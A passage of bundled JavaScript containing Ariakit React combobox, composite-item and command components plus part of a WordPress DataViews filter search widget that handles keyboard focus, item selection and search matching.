(element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxScopedContextProvider, { value: store, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxListRoleContext.Provider, { value: role, children: element }) }),
[store, role]
);
const setContentElement = id && (!scopedContext || !scopedContextSameStore) ? store.setContentElement : null;
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
id,
hidden
}, props), {
ref: useMergeRefs(setContentElement, ref, props.ref),
style
});
return removeUndefinedValues(props);
}
);
var ComboboxList = forwardRef2(function ComboboxList2(props) {
const htmlProps = useComboboxList(props);
return createElement(HUWAI7RB_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/UQQRIHDV.js
"use client";
// src/composite/composite-hover.tsx
var UQQRIHDV_TagName = "div";
function getMouseDestination(event) {
const relatedTarget = event.relatedTarget;
if ((relatedTarget == null ? void 0 : relatedTarget.nodeType) === Node.ELEMENT_NODE) {
return relatedTarget;
}
return null;
}
function hoveringInside(event) {
const nextElement = getMouseDestination(event);
if (!nextElement) return false;
return contains(event.currentTarget, nextElement);
}
var UQQRIHDV_symbol = Symbol("composite-hover");
function movingToAnotherItem(event) {
let dest = getMouseDestination(event);
if (!dest) return false;
do {
if (PBFD2E7P_hasOwnProperty(dest, UQQRIHDV_symbol) && dest[UQQRIHDV_symbol]) return true;
dest = dest.parentElement;
} while (dest);
return false;
}
var useCompositeHover = createHook(
function useCompositeHover2(_a) {
var _b = _a, {
store,
focusOnHover = true,
blurOnHoverEnd = !!focusOnHover
} = _b, props = __objRest(_b, [
"store",
"focusOnHover",
"blurOnHoverEnd"
]);
const context = useCompositeContext();
store = store || context;
invariant(
store,
false && 0
);
const isMouseMoving = useIsMouseMoving();
const onMouseMoveProp = props.onMouseMove;
const focusOnHoverProp = useBooleanEvent(focusOnHover);
const onMouseMove = useEvent((event) => {
onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
if (event.defaultPrevented) return;
if (!isMouseMoving()) return;
if (!focusOnHoverProp(event)) return;
if (!hasFocusWithin(event.currentTarget)) {
const baseElement = store == null ? void 0 : store.getState().baseElement;
if (baseElement && !hasFocus(baseElement)) {
baseElement.focus();
}
}
store == null ? void 0 : store.setActiveId(event.currentTarget.id);
});
const onMouseLeaveProp = props.onMouseLeave;
const blurOnHoverEndProp = useBooleanEvent(blurOnHoverEnd);
const onMouseLeave = useEvent((event) => {
var _a2;
onMouseLeaveProp == null ? void 0 : onMouseLeaveProp(event);
if (event.defaultPrevented) return;
if (!isMouseMoving()) return;
if (hoveringInside(event)) return;
if (movingToAnotherItem(event)) return;
if (!focusOnHoverProp(event)) return;
if (!blurOnHoverEndProp(event)) return;
store == null ? void 0 : store.setActiveId(null);
(_a2 = store == null ? void 0 : store.getState().baseElement) == null ? void 0 : _a2.focus();
});
const ref = (0,external_React_.useCallback)((element) => {
if (!element) return;
element[UQQRIHDV_symbol] = true;
}, []);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
ref: useMergeRefs(ref, props.ref),
onMouseMove,
onMouseLeave
});
return removeUndefinedValues(props);
}
);
var CompositeHover = memo2(
forwardRef2(function CompositeHover2(props) {
const htmlProps = useCompositeHover(props);
return createElement(UQQRIHDV_TagName, htmlProps);
})
);
;// ./node_modules/@ariakit/react-core/esm/__chunks/RZ4GPYOB.js
"use client";
// src/collection/collection-item.tsx
var RZ4GPYOB_TagName = "div";
var useCollectionItem = createHook(
function useCollectionItem2(_a) {
var _b = _a, {
store,
shouldRegisterItem = true,
getItem = identity,
element: element
} = _b, props = __objRest(_b, [
"store",
"shouldRegisterItem",
"getItem",
// @ts-expect-error This prop may come from a collection renderer.
"element"
]);
const context = useCollectionContext();
store = store || context;
const id = useId(props.id);
const ref = (0,external_React_.useRef)(element);
(0,external_React_.useEffect)(() => {
const element2 = ref.current;
if (!id) return;
if (!element2) return;
if (!shouldRegisterItem) return;
const item = getItem({ id, element: element2 });
return store == null ? void 0 : store.renderItem(item);
}, [id, shouldRegisterItem, getItem, store]);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
ref: useMergeRefs(ref, props.ref)
});
return removeUndefinedValues(props);
}
);
var CollectionItem = forwardRef2(function CollectionItem2(props) {
const htmlProps = useCollectionItem(props);
return createElement(RZ4GPYOB_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/KUU7WJ55.js
"use client";
// src/command/command.tsx
var KUU7WJ55_TagName = "button";
function isNativeClick(event) {
if (!event.isTrusted) return false;
const element = event.currentTarget;
if (event.key === "Enter") {
return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "A";
}
if (event.key === " ") {
return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "INPUT" || element.tagName === "SELECT";
}
return false;
}
var KUU7WJ55_symbol = Symbol("command");
var useCommand = createHook(
function useCommand2(_a) {
var _b = _a, { clickOnEnter = true, clickOnSpace = true } = _b, props = __objRest(_b, ["clickOnEnter", "clickOnSpace"]);
const ref = (0,external_React_.useRef)(null);
const [isNativeButton, setIsNativeButton] = (0,external_React_.useState)(false);
(0,external_React_.useEffect)(() => {
if (!ref.current) return;
setIsNativeButton(isButton(ref.current));
}, []);
const [active, setActive] = (0,external_React_.useState)(false);
const activeRef = (0,external_React_.useRef)(false);
const disabled = disabledFromProps(props);
const [isDuplicate, metadataProps] = useMetadataProps(props, KUU7WJ55_symbol, true);
const onKeyDownProp = props.onKeyDown;
const onKeyDown = useEvent((event) => {
onKeyDownProp == null ? void 0 : onKeyDownProp(event);
const element = event.currentTarget;
if (event.defaultPrevented) return;
if (isDuplicate) return;
if (disabled) return;
if (!isSelfTarget(event)) return;
if (isTextField(element)) return;
if (element.isContentEditable) return;
const isEnter = clickOnEnter && event.key === "Enter";
const isSpace = clickOnSpace && event.key === " ";
const shouldPreventEnter = event.key === "Enter" && !clickOnEnter;
const shouldPreventSpace = event.key === " " && !clickOnSpace;
if (shouldPreventEnter || shouldPreventSpace) {
event.preventDefault();
return;
}
if (isEnter || isSpace) {
const nativeClick = isNativeClick(event);
if (isEnter) {
if (!nativeClick) {
event.preventDefault();
const _a2 = event, { view } = _a2, eventInit = __objRest(_a2, ["view"]);
const click = () => fireClickEvent(element, eventInit);
if (isFirefox()) {
queueBeforeEvent(element, "keyup", click);
} else {
queueMicrotask(click);
}
}
} else if (isSpace) {
activeRef.current = true;
if (!nativeClick) {
event.preventDefault();
setActive(true);
}
}
}
});
const onKeyUpProp = props.onKeyUp;
const onKeyUp = useEvent((event) => {
onKeyUpProp == null ? void 0 : onKeyUpProp(event);
if (event.defaultPrevented) return;
if (isDuplicate) return;
if (disabled) return;
if (event.metaKey) return;
const isSpace = clickOnSpace && event.key === " ";
if (activeRef.current && isSpace) {
activeRef.current = false;
if (!isNativeClick(event)) {
event.preventDefault();
setActive(false);
const element = event.currentTarget;
const _a2 = event, { view } = _a2, eventInit = __objRest(_a2, ["view"]);
queueMicrotask(() => fireClickEvent(element, eventInit));
}
}
});
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({
"data-active": active || void 0,
type: isNativeButton ? "button" : void 0
}, metadataProps), props), {
ref: useMergeRefs(ref, props.ref),
onKeyDown,
onKeyUp
});
props = useFocusable(props);
return props;
}
);
var Command = forwardRef2(function Command2(props) {
const htmlProps = useCommand(props);
return createElement(KUU7WJ55_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/P2CTZE2T.js
"use client";
// src/composite/composite-item.tsx
var P2CTZE2T_TagName = "button";
function isEditableElement(element) {
if (isTextbox(element)) return true;
return element.tagName === "INPUT" && !isButton(element);
}
function getNextPageOffset(scrollingElement, pageUp = false) {
const height = scrollingElement.clientHeight;
const { top } = scrollingElement.getBoundingClientRect();
const pageSize = Math.max(height * 0.875, height - 40) * 1.5;
const pageOffset = pageUp ? height - pageSize + top : pageSize + top;
if (scrollingElement.tagName === "HTML") {
return pageOffset + scrollingElement.scrollTop;
}
return pageOffset;
}
function getItemOffset(itemElement, pageUp = false) {
const { top } = itemElement.getBoundingClientRect();
if (pageUp) {
return top + itemElement.clientHeight;
}
return top;
}
function findNextPageItemId(element, store, next, pageUp = false) {
var _a;
if (!store) return;
if (!next) return;
const { renderedItems } = store.getState();
const scrollingElement = getScrollingElement(element);
if (!scrollingElement) return;
const nextPageOffset = getNextPageOffset(scrollingElement, pageUp);
let id;
let prevDifference;
for (let i = 0; i < renderedItems.length; i += 1) {
const previousId = id;
id = next(i);
if (!id) break;
if (id === previousId) continue;
const itemElement = (_a = getEnabledItem(store, id)) == null ? void 0 : _a.element;
if (!itemElement) continue;
const itemOffset = getItemOffset(itemElement, pageUp);
const difference = itemOffset - nextPageOffset;
const absDifference = Math.abs(difference);
if (pageUp && difference <= 0 || !pageUp && difference >= 0) {
if (prevDifference !== void 0 && prevDifference < absDifference) {
id = previousId;
}
break;
}
prevDifference = absDifference;
}
return id;
}
function targetIsAnotherItem(event, store) {
if (isSelfTarget(event)) return false;
return isItem(store, event.target);
}
var useCompositeItem = createHook(
function useCompositeItem2(_a) {
var _b = _a, {
store,
rowId: rowIdProp,
preventScrollOnKeyDown = false,
moveOnKeyPress = true,
tabbable = false,
getItem: getItemProp,
"aria-setsize": ariaSetSizeProp,
"aria-posinset": ariaPosInSetProp
} = _b, props = __objRest(_b, [
"store",
"rowId",
"preventScrollOnKeyDown",
"moveOnKeyPress",
"tabbable",
"getItem",
"aria-setsize",
"aria-posinset"
]);
const context = useCompositeContext();
store = store || context;
const id = useId(props.id);
const ref = (0,external_React_.useRef)(null);
const row = (0,external_React_.useContext)(CompositeRowContext);
const disabled = disabledFromProps(props);
const trulyDisabled = disabled && !props.accessibleWhenDisabled;
const {
rowId,
baseElement,
isActiveItem,
ariaSetSize,
ariaPosInSet,
isTabbable
} = useStoreStateObject(store, {
rowId(state) {
if (rowIdProp) return rowIdProp;
if (!state) return;
if (!(row == null ? void 0 : row.baseElement)) return;
if (row.baseElement !== state.baseElement) return;
return row.id;
},
baseElement(state) {
return (state == null ? void 0 : state.baseElement) || void 0;
},
isActiveItem(state) {
return !!state && state.activeId === id;
},
ariaSetSize(state) {
if (ariaSetSizeProp != null) return ariaSetSizeProp;
if (!state) return;
if (!(row == null ? void 0 : row.ariaSetSize)) return;
if (row.baseElement !== state.baseElement) return;
return row.ariaSetSize;
},
ariaPosInSet(state) {
if (ariaPosInSetProp != null) return ariaPosInSetProp;
if (!state) return;
if (!(row == null ? void 0 : row.ariaPosInSet)) return;
if (row.baseElement !== state.baseElement) return;
const itemsInRow = state.renderedItems.filter(
(item) => item.rowId === rowId
);
return row.ariaPosInSet + itemsInRow.findIndex((item) => item.id === id);
},
isTabbable(state) {
if (!(state == null ? void 0 : state.renderedItems.length)) return true;
if (state.virtualFocus) return false;
if (tabbable) return true;
if (state.activeId === null) return false;
const item = store == null ? void 0 : store.item(state.activeId);
if (item == null ? void 0 : item.disabled) return true;
if (!(item == null ? void 0 : item.element)) return true;
return state.activeId === id;
}
});
const getItem = (0,external_React_.useCallback)(
(item) => {
var _a2;
const nextItem = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, item), {
id: id || item.id,
rowId,
disabled: !!trulyDisabled,
children: (_a2 = item.element) == null ? void 0 : _a2.textContent
});
if (getItemProp) {
return getItemProp(nextItem);
}
return nextItem;
},
[id, rowId, trulyDisabled, getItemProp]
);
const onFocusProp = props.onFocus;
const hasFocusedComposite = (0,external_React_.useRef)(false);
const onFocus = useEvent((event) => {
onFocusProp == null ? void 0 : onFocusProp(event);
if (event.defaultPrevented) return;
if (isPortalEvent(event)) return;
if (!id) return;
if (!store) return;
if (targetIsAnotherItem(event, store)) return;
const { virtualFocus, baseElement: baseElement2 } = store.getState();
store.setActiveId(id);
if (isTextbox(event.currentTarget)) {
selectTextField(event.currentTarget);
}
if (!virtualFocus) return;
if (!isSelfTarget(event)) return;
if (isEditableElement(event.currentTarget)) return;
if (!(baseElement2 == null ? void 0 : baseElement2.isConnected)) return;
if (isSafari() && event.currentTarget.hasAttribute("data-autofocus")) {
event.currentTarget.scrollIntoView({
block: "nearest",
inline: "nearest"
});
}
hasFocusedComposite.current = true;
const fromComposite = event.relatedTarget === baseElement2 || isItem(store, event.relatedTarget);
if (fromComposite) {
focusSilently(baseElement2);
} else {
baseElement2.focus();
}
});
const onBlurCaptureProp = props.onBlurCapture;
const onBlurCapture = useEvent((event) => {
onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
if (event.defaultPrevented) return;
const state = store == null ? void 0 : store.getState();
if ((state == null ? void 0 : state.virtualFocus) && hasFocusedComposite.current) {
hasFocusedComposite.current = false;
event.preventDefault();
event.stopPropagation();
}
});
const onKeyDownProp = props.onKeyDown;
const preventScrollOnKeyDownProp = useBooleanEvent(preventScrollOnKeyDown);
const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
const onKeyDown = useEvent((event) => {
onKeyDownProp == null ? void 0 : onKeyDownProp(event);
if (event.defaultPrevented) return;
if (!isSelfTarget(event)) return;
if (!store) return;
const { currentTarget } = event;
const state = store.getState();
const item = store.item(id);
const isGrid = !!(item == null ? void 0 : item.rowId);
const isVertical = state.orientation !== "horizontal";
const isHorizontal = state.orientation !== "vertical";
const canHomeEnd = () => {
if (isGrid) return true;
if (isHorizontal) return true;
if (!state.baseElement) return true;
if (!isTextField(state.baseElement)) return true;
return false;
};
const keyMap = {
ArrowUp: (isGrid || isVertical) && store.up,
ArrowRight: (isGrid || isHorizontal) && store.next,
ArrowDown: (isGrid || isVertical) && store.down,
ArrowLeft: (isGrid || isHorizontal) && store.previous,
Home: () => {
if (!canHomeEnd()) return;
if (!isGrid || event.ctrlKey) {
return store == null ? void 0 : store.first();
}
return store == null ? void 0 : store.previous(-1);
},
End: () => {
if (!canHomeEnd()) return;
if (!isGrid || event.ctrlKey) {
return store == null ? void 0 : store.last();
}
return store == null ? void 0 : store.next(-1);
},
PageUp: () => {
return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.up, true);
},
PageDown: () => {
return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.down);
}
};
const action = keyMap[event.key];
if (action) {
if (isTextbox(currentTarget)) {
const selection = getTextboxSelection(currentTarget);
const isLeft = isHorizontal && event.key === "ArrowLeft";
const isRight = isHorizontal && event.key === "ArrowRight";
const isUp = isVertical && event.key === "ArrowUp";
const isDown = isVertical && event.key === "ArrowDown";
if (isRight || isDown) {
const { length: valueLength } = getTextboxValue(currentTarget);
if (selection.end !== valueLength) return;
} else if ((isLeft || isUp) && selection.start !== 0) return;
}
const nextId = action();
if (preventScrollOnKeyDownProp(event) || nextId !== void 0) {
if (!moveOnKeyPressProp(event)) return;
event.preventDefault();
store.move(nextId);
}
}
});
const providerValue = (0,external_React_.useMemo)(
() => ({ id, baseElement }),
[id, baseElement]
);
props = useWrapElement(
props,
(element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompositeItemContext.Provider, { value: providerValue, children: element }),
[providerValue]
);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
id,
"data-active-item": isActiveItem || void 0
}, props), {
ref: useMergeRefs(ref, props.ref),
tabIndex: isTabbable ? props.tabIndex : -1,
onFocus,
onBlurCapture,
onKeyDown
});
props = useCommand(props);
props = useCollectionItem(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
store
}, props), {
getItem,
shouldRegisterItem: id ? props.shouldRegisterItem : false
}));
return removeUndefinedValues(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
"aria-setsize": ariaSetSize,
"aria-posinset": ariaPosInSet
}));
}
);
var CompositeItem = memo2(
forwardRef2(function CompositeItem2(props) {
const htmlProps = useCompositeItem(props);
return createElement(P2CTZE2T_TagName, htmlProps);
})
);
;// ./node_modules/@ariakit/react-core/esm/__chunks/ZTDSJLD6.js
"use client";
// src/combobox/combobox-item.tsx
var ZTDSJLD6_TagName = "div";
function isSelected(storeValue, itemValue) {
if (itemValue == null) return;
if (storeValue == null) return false;
if (Array.isArray(storeValue)) {
return storeValue.includes(itemValue);
}
return storeValue === itemValue;
}
function getItemRole(popupRole) {
var _a;
const itemRoleByPopupRole = {
menu: "menuitem",
listbox: "option",
tree: "treeitem"
};
const key = popupRole;
return (_a = itemRoleByPopupRole[key]) != null ? _a : "option";
}
var useComboboxItem = createHook(
function useComboboxItem2(_a) {
var _b = _a, {
store,
value,
hideOnClick,
setValueOnClick,
selectValueOnClick = true,
resetValueOnSelect,
focusOnHover = false,
moveOnKeyPress = true,
getItem: getItemProp
} = _b, props = __objRest(_b, [
"store",
"value",
"hideOnClick",
"setValueOnClick",
"selectValueOnClick",
"resetValueOnSelect",
"focusOnHover",
"moveOnKeyPress",
"getItem"
]);
var _a2;
const context = useComboboxScopedContext();
store = store || context;
invariant(
store,
false && 0
);
const { resetValueOnSelectState, multiSelectable, selected } = useStoreStateObject(store, {
resetValueOnSelectState: "resetValueOnSelect",
multiSelectable(state) {
return Array.isArray(state.selectedValue);
},
selected(state) {
return isSelected(state.selectedValue, value);
}
});
const getItem = (0,external_React_.useCallback)(
(item) => {
const nextItem = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, item), { value });
if (getItemProp) {
return getItemProp(nextItem);
}
return nextItem;
},
[value, getItemProp]
);
setValueOnClick = setValueOnClick != null ? setValueOnClick : !multiSelectable;
hideOnClick = hideOnClick != null ? hideOnClick : value != null && !multiSelectable;
const onClickProp = props.onClick;
const setValueOnClickProp = useBooleanEvent(setValueOnClick);
const selectValueOnClickProp = useBooleanEvent(selectValueOnClick);
const resetValueOnSelectProp = useBooleanEvent(
(_a2 = resetValueOnSelect != null ? resetValueOnSelect : resetValueOnSelectState) != null ? _a2 : multiSelectable
);
const hideOnClickProp = useBooleanEvent(hideOnClick);
const onClick = useEvent((event) => {
onClickProp == null ? void 0 : onClickProp(event);
if (event.defaultPrevented) return;
if (isDownloading(event)) return;
if (isOpeningInNewTab(event)) return;
if (value != null) {
if (selectValueOnClickProp(event)) {
if (resetValueOnSelectProp(event)) {
store == null ? void 0 : store.resetValue();
}
store == null ? void 0 : store.setSelectedValue((prevValue) => {
if (!Array.isArray(prevValue)) return value;
if (prevValue.includes(value)) {
return prevValue.filter((v) => v !== value);
}
return [...prevValue, value];
});
}
if (setValueOnClickProp(event)) {
store == null ? void 0 : store.setValue(value);
}
}
if (hideOnClickProp(event)) {
store == null ? void 0 : store.hide();
}
});
const onKeyDownProp = props.onKeyDown;
const onKeyDown = useEvent((event) => {
onKeyDownProp == null ? void 0 : onKeyDownProp(event);
if (event.defaultPrevented) return;
const baseElement = store == null ? void 0 : store.getState().baseElement;
if (!baseElement) return;
if (hasFocus(baseElement)) return;
const printable = event.key.length === 1;
if (printable || event.key === "Backspace" || event.key === "Delete") {
queueMicrotask(() => baseElement.focus());
if (isTextField(baseElement)) {
store == null ? void 0 : store.setValue(baseElement.value);
}
}
});
if (multiSelectable && selected != null) {
props = _3YLGPPWQ_spreadValues({
"aria-selected": selected
}, props);
}
props = useWrapElement(
props,
(element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemValueContext.Provider, { value, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemCheckedContext.Provider, { value: selected != null ? selected : false, children: element }) }),
[value, selected]
);
const popupRole = (0,external_React_.useContext)(ComboboxListRoleContext);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
role: getItemRole(popupRole),
children: value
}, props), {
onClick,
onKeyDown
});
const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
props = useCompositeItem(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
store
}, props), {
getItem,
// Dispatch a custom event on the combobox input when moving to an item
// with the keyboard so the Combobox component can enable inline
// autocompletion.
moveOnKeyPress: (event) => {
if (!moveOnKeyPressProp(event)) return false;
const moveEvent = new Event("combobox-item-move");
const baseElement = store == null ? void 0 : store.getState().baseElement;
baseElement == null ? void 0 : baseElement.dispatchEvent(moveEvent);
return true;
}
}));
props = useCompositeHover(_3YLGPPWQ_spreadValues({ store, focusOnHover }, props));
return props;
}
);
var ComboboxItem = memo2(
forwardRef2(function ComboboxItem2(props) {
const htmlProps = useComboboxItem(props);
return createElement(ZTDSJLD6_TagName, htmlProps);
})
);
;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-item-value.js
"use client";
// src/combobox/combobox-item-value.tsx
var combobox_item_value_TagName = "span";
function normalizeValue(value) {
return PBFD2E7P_normalizeString(value).toLowerCase();
}
function getOffsets(string, values) {
const offsets = [];
for (const value of values) {
let pos = 0;
const length = value.length;
while (string.indexOf(value, pos) !== -1) {
const index = string.indexOf(value, pos);
if (index !== -1) {
offsets.push([index, length]);
}
pos = index + 1;
}
}
return offsets;
}
function filterOverlappingOffsets(offsets) {
return offsets.filter(([offset, length], i, arr) => {
return !arr.some(
([o, l], j) => j !== i && o <= offset && o + l >= offset + length
);
});
}
function sortOffsets(offsets) {
return offsets.sort(([a], [b]) => a - b);
}
function splitValue(itemValue, userValue) {
if (!itemValue) return itemValue;
if (!userValue) return itemValue;
const userValues = toArray(userValue).filter(Boolean).map(normalizeValue);
const parts = [];
const span = (value, autocomplete = false) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
"span",
{
"data-autocomplete-value": autocomplete ? "" : void 0,
"data-user-value": autocomplete ? void 0 : "",
children: value
},
parts.length
);
const offsets = sortOffsets(
filterOverlappingOffsets(
// Convert userValues into a set to avoid duplicates
getOffsets(normalizeValue(itemValue), new Set(userValues))
)
);
if (!offsets.length) {
parts.push(span(itemValue, true));
return parts;
}
const [firstOffset] = offsets[0];
const values = [
itemValue.slice(0, firstOffset),
...offsets.flatMap(([offset, length], i) => {
var _a;
const value = itemValue.slice(offset, offset + length);
const nextOffset = (_a = offsets[i + 1]) == null ? void 0 : _a[0];
const nextValue = itemValue.slice(offset + length, nextOffset);
return [value, nextValue];
})
];
values.forEach((value, i) => {
if (!value) return;
parts.push(span(value, i % 2 === 0));
});
return parts;
}
var useComboboxItemValue = createHook(function useComboboxItemValue2(_a) {
var _b = _a, { store, value, userValue } = _b, props = __objRest(_b, ["store", "value", "userValue"]);
const context = useComboboxScopedContext();
store = store || context;
const itemContext = (0,external_React_.useContext)(ComboboxItemValueContext);
const itemValue = value != null ? value : itemContext;
const inputValue = useStoreState(store, (state) => userValue != null ? userValue : state == null ? void 0 : state.value);
const children = (0,external_React_.useMemo)(() => {
if (!itemValue) return;
if (!inputValue) return itemValue;
return splitValue(itemValue, inputValue);
}, [itemValue, inputValue]);
props = _3YLGPPWQ_spreadValues({
children
}, props);
return removeUndefinedValues(props);
});
var ComboboxItemValue = forwardRef2(function ComboboxItemValue2(props) {
const htmlProps = useComboboxItemValue(props);
return createElement(combobox_item_value_TagName, htmlProps);
});
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/search-widget.js
/**
* External dependencies
*/
// eslint-disable-next-line no-restricted-imports
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const radioCheck = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Circle, {
cx: 12,
cy: 12,
r: 3
})
});
function search_widget_normalizeSearchInput(input = '') {
return remove_accents_default()(input.trim().toLowerCase());
}
const search_widget_EMPTY_ARRAY = [];
const getCurrentValue = (filterDefinition, currentFilter) => {
if (filterDefinition.singleSelection) {
return currentFilter?.value;
}
if (Array.isArray(currentFilter?.value)) {
return currentFilter.value;
}
if (!Array.isArray(currentFilter?.value) && !!currentFilter?.value) {
return [currentFilter.value];
}
return search_widget_EMPTY_ARRAY;
};
const getNewValue = (filterDefinition, currentFilter, value) => {
if (filterDefinition.singleSelection) {
return value;
}
if (Array.isArray(currentFilter?.value)) {
return currentFilter.value.includes(value) ? currentFilter.value.filter(v => v !== value) : [...currentFilter.value, value];
}
return [value];
};
function generateFilterElementCompositeItemId(prefix, filterElementValue) {
return `${prefix}-${filterElementValue}`;
}
function ListBox({
view,
filter,
onChangeView
}) {
const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(ListBox, 'dataviews-filter-list-box');
const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_namespaceObject.useState)(
// When there are one or less operators, the first item is set as active
// (by setting the initial `activeId` to `undefined`).
// With 2 or more operators, the focus is moved on the operators control
// (by setting the initial `activeId` to `null`), meaning that there won't
// be an active item initially. Focus is then managed via the
// `onFocusVisible` callback.
filter.operators?.length === 1 ? undefined : null);
const currentFilter = view.filters?.find(f => f.field === filter.field);
const currentValue = getCurrentValue(filter, currentFilter);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
virtualFocus: true,
focusLoop: true,
activeId: activeCompositeId,
setActiveId: setActiveCompositeId,
role: "listbox",
className: "dataviews-filters__search-widget-listbox",
"aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: List of items for a filter. 1: Filter name. e.g.: "List of: Author". */
(0,external_wp_i18n_namespaceObject.__)('List of: %1$s'), filter.name),
onFocusVisible: () => {
// `onFocusVisible` needs the `Composite` component to be focusable,
// which is implicitly achieved via the `virtualFocus` prop.
if (!activeCompositeId && filter.elements.length) {
setActiveCompositeId(generateFilterElementCompositeItemId(baseId, filter.elements[0].value));
}
},
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Typeahead, {}),
children: filter.elements.map(element => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Hover, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
id: generateFilterElementCompositeItemId(baseId, element.value),
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
"aria-label": element.label,
role: "option",
className: "dataviews-filters__search-widget-listitem"
}),
onClick: () => {
var _view$filters, _view$filters2;
const newFilters = currentFilter ? [...((_view$filters = view.filters) !== null && _view$filters !== void 0 ? _view$filters : []).map(_filter => {
if (_filter.field === filter.field) {
return {
..._filter,
operator: currentFilter.operator || filter.operators[0],
value: getNewValue(filter, currentFilter, element.value)
};
}
return _filter;
})] : [...((_view$filters2 = view.filters) !== null && _view$filters2 !== void 0 ? _view$filters2 : []), {
field: filter.field,
operator: filter.operators[0],
value: getNewValue(filter, currentFilter, element.value)
}];
onChangeView({
...view,
page: 1,
filters: newFilters
});
}
}),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "dataviews-filters__search-widget-listitem-check",
children: [filter.singleSelection && currentValue === element.value && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: radioCheck
}), !filter.singleSelection && currentValue.includes(element.value) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: library_check
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
children: element.label
})]
}, element.value))
});
}
function search_widget_ComboboxList({
view,
filter,
onChangeView
}) {
const [searchValue, setSearchValue] = (0,external_wp_element_namespaceObject.useState)('');
const deferredSearchValue = (0,external_wp_element_namespaceObject.useDeferredValue)(searchValue);
const currentFilter = view.filters?.find(_filter => _filter.field === filter.field);
const currentValue = getCurrentValue(filter, currentFilter);
const matches = (0,external_wp_element_namespaceObject.useMemo)(() => {
const normalizedSearch = search_widget_normalizeSearchInput(deferredSearchValue);
return filter.elements.filter(item => search_widget_normalizeSearchInput(item.label).includes(normalizedSearch));
}, [filter.elements, deferredSearchValue]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComboboxProvider, {
selectedValue: currentValue,
setSelectedValue: value => {
var _view$filters3, _view$filters4;
const newFilters = currentFilter ? [...((_view$filters3 = view.filters) !== null && _view$filters3 !== void 0 ? _view$filters3 : []).map(_filter => {
if (_filter.field === filter.field) {
return {
..._filter,
operator: currentFilter.operator || filter.operators[0],
value
};
}
return _filter;
})] : [...((_view$filters4 = view.filters) !== null && _view$filters4 !== void 0 ? _view$filters4 : []), {
field: filter.field,
operator: filter.operators[0],
value
}];
onChangeView({
...view,
page: 1,
filters: newFilters
});
},
setValue: setSearchValue,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "dataviews-filters__search-widget-filter-combobox__wrapper",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxLabel, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
children: (0,external_wp_i18n_namespaceObject.__)('Search items')
}),
children: (0,external_wp_i18n_namespaceObject.__)('Search items')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Combobox, {
autoSelect: "always",
placeholder: (0,external_wp_i18n_namespaceObject.__)('Search'),
className: "dataviews-filters__search-widget-filter-combobox__input"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
